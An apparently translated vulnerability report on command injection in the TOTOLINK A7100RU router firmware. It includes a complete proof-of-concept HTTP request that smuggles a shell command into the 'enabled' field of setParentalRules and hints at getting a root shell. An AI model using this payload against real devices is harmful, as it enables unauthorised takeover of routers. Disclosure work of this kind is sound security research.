TOTOlink A7100RU Command injection vulnerability
Overview
- Manufacturer's website information:http://totolink.net/
- Firmware download address : http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html
1. Affected version
Figure 1 shows the latest firmware Ba of the router
2.Vulnerability details
The program passes the content obtained by enable to the V2 parameter, and then brings V2 into UCI_ Set_ STR function
Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function
The function directly brings user input into the execv function, which has a command injection vulnerability
3.Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
- Use the fat simulation firmware V7.4cu.2313_B20191024
- Attack with the following overflow POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close
{"topicurl":"setting/setParentalRules",
"enabled":"1$(ls>/tmp/123;)"}
The reproduction results are as follows:
Figure 2 POC attack effect
Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell





